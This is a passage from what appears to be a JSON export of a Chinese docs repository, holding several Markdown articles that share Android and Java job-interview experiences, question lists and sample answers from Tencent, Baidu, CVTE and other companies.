5）从项目中学到了哪些东西（可以从技术方向和业务两个方向入手）\n\n旁白：面试官问的很多技术性问题跟之前问的都大同小异，因此这里只给出有特色且技术含量高的。阳哥正在写面试宝典，该宝典核心内容针对的还是技术问题，阳哥会从javase基础到javase高级，从Android基础到Android高级以及到Android项目依次展开分析，其次也会写一些常见的非技术性问题，敬请期待~\n\nQ：①在Listview的优化中，我们为何使用ConvertView？②为何使用ViewHolder？③你认为哪个更能解决问题？④你认为view.inflate和view.findviewById哪个更耗时，为什么？⑤如果这两个AP让你重新写，你怎么写？\n\nPS：上面的问题，阳哥认为是面试以来遇到很难的一个，也是很有技术含量的一道题。前一半问题还好回答，最后一个问题真的需要发挥想象了。\n\nA：①使用ConvertView可以实现对view的复用，这样大大节约了每次创建对象的时间，提升了ListView的显示效率。②使用ViewHolder作为内部类，可以将view的子控件封装在ViewHolder类中，然后通过View.setTag(ViewHolder)将view和ViewHolder进行绑定，这样我们就不用每次都调用view的findViewById(id)方法来查找控件。③使用ConvertView解决了一大部分问题，使用ViewHolder实现了控件换时间的问题，因为给View对象设置一个Tag本身就是占用内存的，因此ViewHolder的使用还是需要区分不同的应用场景的， 没有绝对的好与不好。如果内存足够需要高效则ViewHolder建议使用，否则不建议使用。④当然是view.inflate耗时，这个函数完成的功能是把xml布局文件通过pullParser的形式给解析到内存中，需要io，需要递归子节点。⑤我其实还不太相信我写出来的代码比Google官方写的好，如果让我写的话我可能会这样考虑，当用户在使用view.inflate的时候将多个id作为数组添加到形参中，这样在初始化view的使用我就可以给这个view直接调用setTag方法绑定需要的子控件。不过这个原生方法其实也应该保留共不同的需求使用。\n\nPS：技术面试时间并不长，我回答了几个之后，他们两个大眼瞪小眼，A看看B问：你还有什么问的吗？B说我没有，你还有吗？A说我也没了。那行，接下来，他们就让我等人事了。\n\n## 3. 人事面试：\n\n人事问的问题都差不多，我在上一篇也说过，这里就不说人事的问题了。唯一要给大家爆料的就是人事给我讲的他们公司的福利待遇，可以用土豪不差钱形容:)\n\n人事说：入职后转正即送iPhone 6一部。\n\n我（阳哥）说：我是做Android开发的，给我iPhone 6干嘛\n\n旁白：你认为阳哥真不想要iPhone 6吗？为了显示咱的高度敬业精神，毕竟咱是做Android开发的，更需要的是Android手机，决不能像iPhone低腰（ni dao shi gei wo ya）！\n人事说：我们Android开发人员也会额外配Android机的，iPhone6可以生活用。\n\n旁白：我去~这就是没见过世面的阳哥，当时的表情。\n\n人事说：转正满一年，每年都有一次出国旅游。\n\n我（阳哥）说：哦，咱们公司还挺不错的嘛！\n\n旁白：不知说啥好了，只能用表情来形容了，阳哥至今没出过国，国外啥个样子嘛，\n人事说：我们一般一年更少发14薪，都是介于14~16薪之间，具体发多少要看个人平时的一个KPI考核了。\n\n我（阳哥）说：哦，这样呀，还行吧。\n\n## 面试吐槽：\n\n在家公司的人事跟我算了基本工资16k+各种补助1k=17k+。每年出国旅游，入职送iPhone，补充住房公积金，好吧，阳哥受宠若惊了。自己回来会百度了一下，终于搞明白这家公司为何这么奢侈！不多说，看图吧。\n\n跟人事面试的时候，人事说他们在上海总部目前有大概100多名员工，阳哥不懂经济，不知道100多人的公司能融资13个亿是个什么样的概念？这再次验证了阳哥的那句千古流传的话语，只要技术好，公司不差钱！"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/杭州找 Android 工作的点点滴滴.md",
    "content": "## 写在前面的话\n\n我从 14 年毕业到现在一直待一个三线城市，就用 C 市 代替吧。地方很小，适合居住，但不适合 it 开发，城市很小、圈子很小，it 不发达，想要在 it 上面有出路的还是得去北上广深大城市。我在这个城市呆了三年左右由于自己的一些私事所以趁机就出来想找个大城市呆呆，原本打算去其他城市的，后来稀里糊涂的来到了杭州，在朋友这呆了半个月，直到找到工作。我是 17 年 3 月 25 号就辞职了，递交了辞职申请之后然后就跑去云南玩了一圈之后才想到要找工作的，然后就来杭州了，以上就是大概背景，接下来就写写关于在杭州找一份关于 Android 开发的工作中所遇到的人和事，不看不知道，原来世界真的很大各种人都有，果真印证了一句话：林子大了，什么鸟都有。\n\n## 简历\n\n面试之前，当然得准备一份简历啦，我的简历是当年刚毕业的时候写的一份简历，这里面用到的模板是 [乔布简历]() http://cv.qiaobutang.com/ 里面的简历模板不错（哈哈，这不是给它打广告的，我一直用这个，感觉不错就推荐了）。简历模板找到了，下面就是内容了，俗话说，要想找到好工作，一个好的简历必不可少的。因为公司越大的话，投递的人肯定越多，HR 筛选的时间就少了，所以简历有亮点就能打动HR，这样才能有面试资格，有了这个面试资格后才有可能得到这个工作机会，有的人写了简历投给公司后，就像石沉大海一样，毫无音讯，所以，如果有小伙伴，投了简历但是没有回应，不妨修改一下简历，但这里修改简历不是要你去造假，这里面有个梗，待会说~，写完了简历，接下来就是投简历了，有几个渠道可以找工作：\n\n- 内推，内推的质量是最高的，但也是最难的。\n- 第三方招聘网站，如 拉钩，51Job，智联招聘，猎聘同道等。\n\n就以我而言，使用上面四种方式进行对比，拉勾网上面公司质量还是不错的，但是HR筛选简历这关有点问题，里面给出的筛选不通过理由都是一样的。51job 和智联招聘两者类似，都差不多，我就是在智联招聘上面找到工作的。猎聘同道里面猎头比较多，我第一次面试就是上面的猎头进行联系的。总的而言，前三个多投投简历，重点放在智联招聘和拉勾网上面，其他也可以稍微投投~\n\n## 面试\n\n经过上面简历这个步骤，相信我们能够接到一些公司的面试邀请的，在接受公司面试邀请之前，我们得复习面试中所遇到的一些基本知识，主要有 Java 和 Android 这两方面的面试知识。\n\n- Java 基础知识，主要有面向对象三大特性及理解，接口与抽象类、泛型、线程池、集合框架、设计模式、常用算法等知识点。\n- Android 知识，主要就是一些常用的知识，待会儿给出一些链接。\n\n以上是专业知识准备，还得准备一些其他人文方面的知识，譬如自我介绍啊、兴趣爱好啊之类的。\n\n有了上面的知识基础，我们就可以上面进行面对面接触啦，我总共大概用了 10 天左右时间，面试了大概 15 家公司，其中有三家是明确拒绝我的，还有四家是我明确拒绝他的，还有几家我对比了一下，然后选择了一个性价比比较高的公司的。在这些公司里面，花样百出，有的公司不知道怎么想的，想花一年工作经验的工资找一个三年工作经验的人，这是典型的想得美。还有的公司忽悠你，就是变相的让你加班，我问他工资能给多少，他说看你能力而定，能力多大，工资多高，我说具体个数，如果我面试通过了，你能不能给我准确的数，他就不说话了，而且是早上 10 点上班，晚上 9 点下班，呵呵，不评价，忽悠应届生呢吧~\n\n印象最深的一家公司，地址是 https://www.lagou.com/gongsi/191783.html 没错，里面的评论就是我评论的，刚进去，给人的感觉，公司环境还不错，宽敞明亮的，然后 HR 给了我 A4 纸，正反面，填写个人的信息，详细程度令人咋舌。好不容易花了几分钟填完之后又给我整整三张面试题，没错，是整整三张，题目很多很多，让我做，哎，我也好忽悠，第一次碰到这种情况，所以就按部就班老老实实的做完了，花了 20 分钟，做之前还把我的手机给收了，娘的，当成学校考试呢啊？？？更奇葩的还在后面，做完面试题目之后，就开始了面试，那个面试官好像是子公司分责人吧，类似于总经理吧，看着我的简历，竟然问我有没有造假？？？WTF！！！还跟我说，他要想查的话很快就能查到了，我就无语了，我的简历竟然能让他怀疑我造假了，我的简历是有多雷人啊！！！接着就开始问我各种知识点，回答出来 95 以上吧，有几个平时没接触过，所以不知道怎么回答，最后面试结束了，没什么问题就开始讨论工资的问题，他看了我的期望薪水，问我，为什么翻了一倍？我跟他说，我以前呆的城市，非常小，基本连三线都不到，房价只有几千块，跟杭州能比吗？？？然后他就无语了，我就问他，为什么杭州房价比 C 房价高出 4~5 倍，你还想工资都差不多？？？面试简章上面的薪水范围跟实际给出的范围严重不符，我估计这家公司就是想把人先忽悠过去，然后开始各种压价，这太他么的可耻了，最后果断被我给拒绝了，而且是当面拒绝，没有留有情面，给再多也不会去的，这是情怀问题，感觉对程序员不尊重！！！以后大伙找公司，注意这家公司，过来人的经验~\n\n上面就是我遇到的印象比较深刻的一家公司。接下来我们就来总结一下面试过程中提出的各种问题，如果有需要的小伙伴可以参考一下。\n\n## 面试问题\n\n### 关于人文方面的问题\n\n- 先介绍一下你自己？\n- 你有什么兴趣爱好？\n- 你平常空闲时间会干什么，看哪些书，有什么心得体会？\n- 你为什么要从上家公司离职？\n- 如果面试过了的话，就会问你的期望薪资，然后就开始各种压榨你。\n\n### 关于 Java 方面的问到的知识点\n\n- 面向对象的三大特性，如何理解其中的多态？\n- JVM 的内存模型？\n- String、StringBuilder、StringBuffer 的区别，StringBuffer 是如何实现线程安全的？\n- 了解过 HTTP 吗？说说它的特点，它里面有哪些方法，有了解过吗？知道 HTTPS 吗？这两者有什么区别？\n- 你平常是怎么进行加密的？MD5 加密是可逆的吗？\n- 接口与抽象类的区别？static 方法可以被覆盖吗？为什么？\n- 创建线程的方式，他们有什么区别？知道线程池吗？说说对线程池的理解？\n- 你了解过 Java 的四种引用吗？分别代表什么含义，他们有什么区别？\n- Java 中关于 equals 和 hashcode 的理解？\n- 关于 Java 中深拷贝和浅拷贝的区别？\n- 简单的说下 Java 的垃圾回收？\n- 了解过 Java 的集合吗？说说 HashMap 的底层实现原理？ArrayList 和 LinkedList 的区别？Java 集合中哪些是线程安全的？\n- 如何实现对象的排序？\n- 知道 ThreadLocal 吗？说说对它的理解？\n- 在你写代码的过程中有使用过设计模式吗？你知道哪些？为什么要这样用，能解决什么问题？\n- 了解注解吗？了解反射吗？为什么要使用反射？\n- 数据结构中常用排序算法？\n\n以上就是关于 Java 所问道的知识点，记得不是太清楚了，待补充。。。\n\n### 关于 Android 方面的问到的知识点\n\n- Activity 的生命周期是什么？ onPause 和 onStop 有什么区别？\n- Android 五种布局的性能对比？\n- Android 四大组件是什么？分别说说对它们的理解？\n- 关于 Service 的理解？它的启动方式有什么区别？\n- 了解 fragment 吗？说说你对它的理解？\n- 自定义过 view 吗？它的步骤是什么？说说你自定义 view 过程中出现的问题，以及是如何解决的？\n- 刷新 view 的几种方式，他们有什么区别？\n- Android 实现数据存储的几种方式？\n- 如何实现 Android 中的缓存的，通过使用第三方库和自定义来分别说明一下缓存技术的实现？\n- 如何实现 Activity 与 fragment 的通信？\n- Android 5.0、6.0、7.0 新特性？\n- Android 中的动画分类？\n- 你以前是如何进行屏幕适配的？\n- 说说 Activity 创建过程？\n- Android 中如何与 JS 交互的？\n- 了解 APP 的启动流程？\n- 你知道哪些图片加载库？他们有什么区别？ImageLoader 的内部缓存机制是什么？是如何实现的？\n- Android 中是如何实现异步通信的？\n- 说说 Handler 内部实现原理？\n- 使用过 AsyncTask 吗？说说它的内部实现原理？它有什么缺陷？如何改进？\n- 知道 JNI、Binder 吗？说说你对它们的理解？\n- 如何实现进程间的通信？\n- 说说 Android view 和 viewGroup 的事件分发机制？\n- 你开发过程中使用到了哪些第三方库？了解过他们的源码吗？\n- 你了解广播吗？它与 EventBus 有什么区别？能互相实现吗？\n- 你们网络请求是如何实现的？知道 Volley 吗？内部实现流程是什么？它与 OKHttp 有什么区别？\n- 你了解哪些第三方功能？知道推送吗？它的原理是什么？\n- 接触过 MVP 模式吗？说说看对它的认识？\n- 知道 Android 中的多渠道打包吗？\n- Android 签名机制的原理？反编译解压后的文件夹所包含的内容有哪些？\n- 你了解过模块化、组件化开发吗？\n- 开始开发 APP 如何进行架构？\n- APP 工程模块是如何划分的？你是如何进行封装的？\n- APP 是如何进行优化的？知道 OOM 吗？如何解决内存泄漏？\n\n以上就是我这次面试过程中涉及到的一些关于 Android 方面的知识点，有点模糊了，全凭记忆，待补充....\n\n经过上面的几个阶段，历时半个月，最终我找到了一家比较心仪的公司，整体的性价比个人感觉比较高，符合我的期望。以上便是我这次来杭州面试的点点滴滴，希望对有需求的小伙伴一些帮助~\n\n请记住一点，薪水并不是唯一所要关注的重点，关键还得看看公司环境、领导、同事相处愉快不愉快？要不然给你再多的薪水，每天干的不爽，那不是很悲哀？\n\n最后我会提供一些我面试准备阶段复习所用到的一些基础知识点链接，面试必问的一些基础原理一定得知道，不能含糊，要不然面试过程中必定会露马脚。有需要的小伙伴可以参考一下。\n\n## 相关链接\n\n- [Java面试题集](http://blog.csdn.net/dd864140130/article/details/55833087) \n- [Android 名企面试题及涉及知识点整理](https://github.com/Mr-YangCheng/ForAndroidInterview)\n- [40个 Android 面试题](http://www.devstore.cn/essay/essayInfo/7195.html) "
  },
  {
    "path": "docs/android/Android-Interview/经验分享/给培训班出来的一点不成熟的小建议.md",
    "content": "## 那些IT培训出来的Android工程师，希望你面试时涨点记性\n\n这几天，公司在前程无忧上发布了招聘 Andriod 工程师广告。不到 3 个小时， hr 就抱怨说投递 Andriod 工程师的简历已经多达 300 份了。不得已将 Andriod 工程师招聘就下架，然后就去筛选简历了。\n\n我也顺便看了看公司的要求，写的很简单，主要有：\n\n> 经验：1 年以上。\n>\n> 有开发过蓝牙相关项目经验优先。\n>\n> 学历：大专及以上。\n\n不知道 hr 和部门经理花费了多少时间挑选了 10 个人出来了。然后就预约了他们过来面试。\n\n很荣幸，经理让我出一点面试题，还特意嘱咐，毕竟我们是软硬件的方案公司，已经有成熟的架构了。app 的难度不大，只要后面肯学是一样。就把第一轮面试的任务交给我。这里我并不是歧视培训机构出来的 Andriod 工程师，而是这几天面试下来，让我觉得很不可思议。如果有的人再用心一点，或许 offer 就是你的了。也希望不论你是正常毕业出来找工作，还是培训出来，自学的，或者中途转行的，都涨一点记性。\n\n### 先说说笔试部分\n\n有两道题基本上回答的很令人无语。\n\n**1、写一写自定义 view 的思路。**\n\n有几个人直接写了一个 onMeasure() 方法放那里了，就写了这几个单词，难道就不用多写一点解释。\n\n我一看简历的工作经验，不是 2 年，就是 2 年半，还有 3 年的，怎么一个自定义 view 都没有遇到过？真的是让我怀疑你的工作经验是怎么来的。\n\n重点是：有一个面试者就直接向我坦诚了自己是培训出来的。我瞬间就恍然了很多。我也是个打工的，没必要去指责他，只是给他讲了讲自定义 view，简历应该如何如何。这哥们居然临走时感谢我，要了我的微信。\n\n**2、有没有访问过公司官网？如果有，谈谈你的意见。（这一题是 hr 要求加上去的。）**\n\n结果很失望，只有 3 个人说访问过。\n\n你去别人家公司面试，就不去访问别人一下官网，更何况，你投简历的时候，你就不用看公司简介，上上别人家公司官网。就算你是群投，收到面试通知后，都不用好好准备一下吗？去官网看看公司文化，团队，产品，特别是产品，大概就知道会用到哪些技术。\n\n### 再说说口头问的部分\n\n**1、搞清楚自己的开发工具**\n\n1) 请问你现在开发使用的什么工具？\n\n面试者：Android Studio\n\n2) 那你现在主要使用哪个版本开发？\n\n面试者：2.4\n\n一瞬间，我直接懵了。Google 才放出正式的 2.3 版本。你就用起 2.4 呢? 后面还补充告诉我，自己去官网下载的，一直在使用\n\n**2、不要刻意去讨好公司，技术的知识点不确定就不要随便回答。**\n\n1) 你在简历上说自己做过蓝牙相关的项目，那你告诉我，一般使用蓝牙需要哪几个权限？\n\n面试者：好像两个，两三个吧？\n\n2) 那你能不能说一下？\n\n面试者：我都是直接复制粘贴的\n\n唉，你让我说什么好。你要是做过蓝牙相关开发，哪怕是你忘记了权限，你也可以说一下蓝牙连接的流程。就算以前没做过，招聘的岗位都告诉你了，有做过蓝牙项目 app 的优先，你就可以去补充一下 Andriod 关于蓝牙的知识点啊?\n\n**3、别把别人上架的 app 当成自己的。**\n\n1) 你有没有 app 上架过？\n\n面试者：有\n\n等他在应用市场找给我的时候，我一看就傻眼了，下载量破 500 万了，一看开发者就不是你。唉，我当时就想，兄弟啊，你没有可以告诉我，就算找一个别人的，能不能不要这么多下载量的？更何况，国内 Andriod 应用市场这么多，想自己的 app 上架都不是什么难事。\n\n更可况，面试要求你，也没有说非要你上架 app。毕竟我们公司的 app 的难度还好。\n\n**4、Andoid 6.0 权限的处理。**\n\n1）在实际开发中，你说如何处理 6.0 以上手机权限问题的。\n\n面试者：我们开发的 app 不需要适配 6.0 啊。\n\n2）要是客户的手机是 6.0 的，客户要求你的 app 项目适配 6.0 的呢?\n\n面试者：不会吧，都不用适配 6.0 的\n\n你不是都有两三年开发经验了？ 6.0 以上权限适配属于最基本的知识。随便说个思路，先申明权限，到用的时候，对高版本手机进行判断撒的……都是可以的，实际开发项目时，又不是不让你上网去学习研究。\n\n唉……不知道该怎么说好了！\n\n拒绝做面试题的！\n\n有两个过来面试的，直接告诉我:\n\n我写不好，能不能直接说啊！\n\n我也只好同意了，毕竟从那么多简历里面，把你们筛选出来是多么地不容易。结果，好是令人失望。\n\n如果你没有过硬的技术，请不要随便拒绝面试题。\n\n## 后记\n\n那个坦诚告诉我是培训出来的人，晚上发信息告诉我一些信息。\n\n他们说 Andriod 面试，不用做题的？\n\n现在企业喜欢经验多的，我们都是被要求写几年经验。这样才有面试机会。\n\n你们招聘公司职位要求的技术不是随便写的吗？\n\n大家都不容易，但是做技术这一行，还是需要硬实力。再怎么包装你有几年经验，拿到面试通知时，为什么不去好好准备面试，去背诵知识点。你连最起码的别人公司的官网都不上，你又有什么话语权？\n\n哪怕你没有 app 上过架，确实是刚毕业，转行，或者刚培训出来的，如果临时抱佛脚，复习了公司要求的知识，这个 offer 就属于你的了。毕竟还有 3 个月试用期。\n\n不论什么原因让你的简历如何完美，但是还请你的技术能够跟上。我所知道的，同事，朋友做 IT 的，有的是跨专业，有的是高中，有的是培训出来的，既然他们都行，请你也行！"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/腾讯公司程序员面试题及答案详解.md",
    "content": "今天给大家带来的是腾讯的面试题，觉得有用的亲，赏个脸，轻点上面蓝色黑马程序员几个字关注我吧！\n\n**1、腾讯笔试题：const的含义及实现机制const的含义及实现机制，比如：const int i,是怎么做到i只可读的？**\n\nconst用来说明所定义的变量是只读的。\n\n这些在编译期间完成，编译器可能使用常数直接替换掉对此变量的引用。\n\n**2、腾讯笔试题：买200返100优惠券，实际上折扣是多少？**\n\n到商店里买200的商品返还100优惠券（可以在本商店代替现金）。请问实际上折扣是多少？\n\n由于优惠券可以代替现金，所以可以使用200元优惠券买东西，然后还可以获得100元的优惠券。\n\n假设开始时花了x元，那么可以买到 x + x/2 + x/4 + ...的东西。所以实际上折扣是50%.（当然，大部分时候很难一直兑换下去，所以50%是折扣的上限） 如果使用优惠券买东西不能获得新的优惠券，那么总过花去了200元，可以买到200+100元的商品，所以实际折扣为 200/300 = 67%.\n\n**3、腾讯笔试题：tcp三次握手的过程，accept发生在三次握手哪个阶段？**\n\naccept发生在三次握手之后。\n\n第一次握手：客户端发送syn包(syn=j)到服务器。\n\n第二次握手：服务器收到syn包，必须确认客户的SYN（ack=j+1），同时自己也发送一个ASK包（ask=k）。\n\n第三次握手：客户端收到服务器的SYN＋ACK包，向服务器发送确认包ACK(ack=k+1)。\n\n三次握手完成后，客户端和服务器就建立了tcp连接。这时可以调用accept函数获得此连接。\n\n**4、腾讯笔试题：用UDP协议通讯时怎样得知目标机是否获得了数据包用UDP协议通讯时怎样得知目标机是否获得了数据包？**\n\n可以在每个数据包中插入一个唯一的ID，比如timestamp或者递增的int。\n\n发送方在发送数据时将此ID和发送时间记录在本地。\n\n接收方在收到数据后将ID再发给发送方作为回应。\n\n发送方如果收到回应，则知道接收方已经收到相应的数据包；如果在指定时间内没有收到回应，则数据包可能丢失，需要重复上面的过程重新发送一次，直到确定对方收到。\n\n**5、腾讯笔试题：统计论坛在线人数分布 求一个论坛的在线人数，假设有一个论坛，其注册ID有两亿个，每个ID从登陆到退出会向一个日志文件中记下登陆时间和退出时间，要求写一个算法统计一天中论坛的用户在线分布，取样粒度为秒。**\n\n一天总共有 360024 = 86400秒。\n\n定义一个长度为86400的整数数组int delta[86400]，每个整数对应这一秒的人数变化值，可能为正也可能为负。开始时将数组元素都初始化为0。\n\n然后依次读入每个用户的登录时间和退出时间，将与登录时间对应的整数值加1，将与退出时间对应的整数值减1。\n\n这样处理一遍后数组中存储了每秒中的人数变化情况。\n\n定义另外一个长度为86400的整数数组int online_num[86400]，每个整数对应这一秒的论坛在线人数。\n\n假设一天开始时论坛在线人数为0，则第1秒的人数online_num[0] = delta[0]。第n+1秒的人数online_num[n] = online_num[n-1] + delta[n]。\n\n这样我们就获得了一天中任意时间的在线人数。\n\n**6、腾讯笔试题：从10G个数中找到中数 在一个文件中有 10G 个整数，乱序排列，要求找出中位数。内存限制为 2G。**\n\n不妨假设10G个整数是64bit的。\n\n2G内存可以存放256M个64bit整数。\n\n我们可以将64bit的整数空间平均分成256M个取值范围，用2G的内存对每个取值范围内出现整数个数进行统计。这样遍历一边10G整数后，我们便知道中数在那个范围内出现，以及这个范围内总共出现了多少个整数。\n\n如果中数所在范围出现的整数比较少，我们就可以对这个范围内的整数进行排序，找到中数。如果这个范围内出现的整数比较多，我们还可以采用同样的方法将此范围再次分成多个更小的范围（256M=2^28，所以最多需要3次就可以将此范围缩小到1，也就找到了中数）。\n\n**7、腾讯笔试题：两个整数集合A和B，求其交集两个整数集合A和B，求其交集。**\n\n- 读取整数集合A中的整数，将读到的整数插入到map中，并将对应的值设为1。\n- 读取整数集合B中的整数，如果该整数在map中并且值为1，则将此数加入到交集当中，并将在map中的对应值改为2。\n\n通过更改map中的值，避免了将同样的值输出两次。\n\n**8、腾讯笔试题：找出1到10w中没有出现的两个数字 有1到10w这10w个数，去除2个并打乱次序，如何找出那两个数？**\n\n申请10w个bit的空间，每个bit代表一个数字是否出现过。\n\n开始时将这10w个bit都初始化为0，表示所有数字都没有出现过。\n\n然后依次读入已经打乱循序的数字，并将对应的bit设为1。\n\n当处理完所有数字后，根据为0的bit得出没有出现的数字。\n\n首先计算1到10w的和，平方和。\n\n然后计算给定数字的和，平方和。\n\n两次的到的数字相减，可以得到这两个数字的和，平方和。\n\n所以我们有\n\nx + y = n\n\nx^2 + y^2 = m\n\n解方程可以得到x和y的值。\n\n**9、腾讯笔试题：需要多少只小白鼠才能在24小时内找到毒药有1000瓶水，其中有一瓶有毒，小白鼠只要尝一点带毒的水24小时后就会死亡，至少要多少只小白鼠才能在24小时时鉴别出那瓶水有毒？**\n\n最容易想到的就是用1000只小白鼠，每只喝一瓶。但显然这不是最好答案。\n\n既然每只小白鼠喝一瓶不是最好答案，那就应该每只小白鼠喝多瓶。那每只应该喝多少瓶呢？\n\n首先让我们换种问法，如果有x只小白鼠，那么24小时内可以从多少瓶水中找出那瓶有毒的？\n\n由于每只小白鼠都只有死或者活这两种结果，所以x只小白鼠最大可以表示2^x种结果。如果让每种结果都对应到某瓶水有毒，那么也就可以从2^x瓶水中找到有毒的那瓶水。那如何来实现这种对应关系呢？\n\n第一只小白鼠喝第1到2^(x-1)瓶，第二只小白鼠喝第1到第2^(x-2)和第2^(x-1)+1到第2^(x-1) + 2^(x-2)瓶....以此类推。\n\n回到此题，总过1000瓶水，所以需要最少10只小白鼠。\n\n**10、腾讯笔试题：根据上排的数填写下排的数，并满足要求。**\n\n根据上排给出十个数，在其下排填出对应的十个数, 要求下排每个数都是上排对应位置的数在下排出现的次数。上排的数：0，1，2，3，4，5，6，7，8，9。\n\n**11、腾讯笔试题：判断数字是否出现在40亿个数中？**\n\n给40亿个不重复的unsigned int的整数，没排过序的，然后再给几个数，如何快速判断这几个数是否在那40亿个数当中?\n\n答案：unsigned int 的取值范围是0到2^32-1。我们可以申请连续的2^32/8=512M的内存，用每一个bit对应一个unsigned int数字。首先将512M内存都初始化为0，然后每处理一个数字就将其对应的bit设置为1。当需要查询时，直接找到对应bit，看其值是0还是1即可。"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/阿里+百度+CVTE面经合集.md",
    "content": "早上11点，刚刚收到阿里的offer，也算是给自己三个月的春招画上了一个还算圆满的句号。 \n\n先介绍一下本人的基本情况：陕西普通一本非计算机专业大三学生，非985211。主要技能C/C++/Java/数据结构/算法。 \n\n这三个月的经历，首先确实在技术上确实通过不断的面试有了很大的提升，其次在各种面试经验上也有了一些心得。 \n\n眼看春招已经基本结束，所以将这段时间的经历写在牛客上，希望能够帮助大家，在秋招上斩获更满意的offer。 \n\n所以就拿我收到offer的三家重点说说。（按时间排序） \n\n## 一、CVTE：\n\nCVTE的实习生招聘非常早，笔试完了就收到通知，预约了面试时间就早早去了，两轮技术面试一轮HR面试，进行的很顺利，3月26号就已经发了offer。 \n\n一面：面试官非常亲切，其实我当时是第一次参加现场面试，楼主比较怂，其实现场紧张的不要不要的，自我介绍的时候说完了姓名年龄和专业之后，就卡住说不下去了。面试官看在眼里疼在心上，于是很关心的对我说，没事没事不要紧张，这样吧，我们先写两个算法放松一下（Excuse me？）不过好在面试官出的题很简单，第一个是二分查找，我用递归和非递归各写了一遍，重点就在于下标的控制；另一道是在N个数中求前M大个数，其实也很简单，思路就是使用快速排序的思想，每一次当把一个数字放在正确的位置上的时候跟M进行比较，其实在剑指offer上有原题。好在寒假的时候把剑指offer刷了很多遍，所以很快也写出来了。我个人觉得在写代码之前，有很多事情需要跟面试官进行交流，比如函数的参数、返回值、还有一些异常情况的处理，提前跟面试官约定好。比如我在写代码之前，就问面试官：假设参数是`(int *arr, int length, int m)`，在这种情况下，可能会有四种情况会导致程序出现异常情况\n\n- arr ==NULL \n- length <= 0 \n- m > length \n- m <=0\n\n询问他在这四种情况下我们该如何处理？”面试官听完之后一下就有兴趣了，及时跟面试官沟通，一方面是防止思路与面试官预期的差距太大，面试官出的题，因此他有责任让面试者明白他的意思，另一方面表现我们积极思考，向面试官展示我们的思考能力。可能之前的算法写的太顺利，所以给自己建立了蜜汁自信，并且面试官对我的第一印象也好，后面的问题回答的很轻松，有struts2和SpringMVC的区别、Spring中IoC和AOP的理解，不过在数据库方面被难住了，在MySQL中如何定为查询效率较慢的SQL语句，比如慢查询日志、EXPLAIN关键字还有PROFILES等。但是总得来说，一面进行的很顺利。 \n\n二面：CVTE的面试流程是，如果一面的面试官觉得通过了，就会示意现场接待的姐姐，姐姐会安排在场外休息一下，二面大概在十分钟之后进行；而如果觉得不符合要求，姐姐就会亲切地告诉面试者，今天的面试结束了，可以先回去等消息。等了十分钟之后，二面如约而至，二面是一个年纪稍大，但是很有风度的中年人，事后学长说那是他们部门的BOSS，面试官让我设计了一个场景，青蛙爬井，就是画画UML，两个类图，和他们的关系。最后扩展成面向接口的思维，不得不说BOSS确实功力深厚，纠正了我很多问题，最后才勉强满意。然后就是分析项目，挑了一个我比较熟悉的，问了很多问题，比如页面的跳转关系、我所做的功能模块，让我一边画图一边解释，我自认项目准备的还算充分，因为都是自己做的，所以这部分也算顺利。后面就没有什么技术问题，问了一下我什么时候能来实习，还有在校的经历，同学之间是如何评价我的，然后就结束了。 \n\nHR面：晚上回到宿舍就有短信通知，第二天参加终面，当时还在跟女朋友看电影啊，荒原猎人。正看到小李子跟熊搏斗，女朋友吓得不敢看，广州的电话来了，让我预约第二天的终面并且填一个单子。慌慌张张跑回去完成。印象里面那个问卷问的很全面，比如家庭状况、为什么选择去广州、什么情况下会放弃这份工作、小时候印象最深的一件事情、列举出近期让你伤心的事情以及你是如何处理不良情绪的。如果各位到了这一步，一定要谨慎作答，这些问题都会列入到综合评测中。后面的面试就是把这些问题现场问一遍，说是HR面，但我总感觉是高管面，一个高管面三个面试者。 \n\n面试出来之后，等做到地铁上，广州负责的CVTE校招的学长就已经告诉我通过了，效率非常高。3月26号拿到的offer，这是春招的第一个offer，当时的心情还是很激动的。 \n\n## 二、百度\n\n百度是学长内推，技术面是两轮技术面试。 \n\n一面：简单的自我介绍，因为是电话面试，所以流畅了很多（你们懂的）。一个小时满满的技术问题，所以就不用向上面再赘述了，直接上干货 \n\n1.是否了解动态规划\n\n动归，本质上是一种划分子问题的算法，站在任何一个子问题的处理上看，当前子问题的提出都要依据现有的类似结论，而当前问题的结论是后\n面问题求解的铺垫。任何DP都是基于存储的算法，核心是状态转移方程。 \n\n2.JVM调优\n\n其实我没有实际的调优经验，但是我主要介绍了一下JVM的分区、堆的分代以及回收算法还有OOM异常的处理思路 \n\n3.分别介绍一下Struts2和Spring\n\n不用多说，这方面比我答得好的同学肯定大有人在，就不出丑了 \n\n4.职责链模式（设计模式）\n\nGoF经典设计模式的一种 \n\n5.实践中如何优化MySQL\n\n我当时是按以下四条依次回答的，他们四条从效果上第一条影响最大，后面越来越小。 \n\n- SQL语句及索引的优化 \n- 数据库表结构的优化 \n- 系统配置的优化 \n- 硬件的优化 \n\n6.什么情况下设置了索引但无法使用\n\n- 以“%”开头的LIKE语句，模糊匹配 \n- OR语句前后没有同时使用索引 \n- 数据类型出现隐式转化（如varchar不加单引号的话可能会自动转换为int型） \n\n7.SQL语句的优化\n\n- order by要怎么处理\n\n- alter尽量将多次合并为一次\n\n- insert和delete也需要合并\n\n8.索引的底层实现原理和优化\n\nB+树，经过优化的B+树\n\n主要是在所有的叶子结点中增加了指向下一个叶子节点的指针，因此InnoDB建议为大部分表使用默认自增的主键作为主索引。\n\n9.HTTP和HTTPS的主要区别\n\n10.Cookie和Session的区别\n\n11.如何设计一个高并发的系统\n\n- 数据库的优化，包括合理的事务隔离级别、SQL语句优化、索引的优化\n- 使用缓存，尽量减少数据库 IO\n- 分布式数据库、分布式缓存\n- 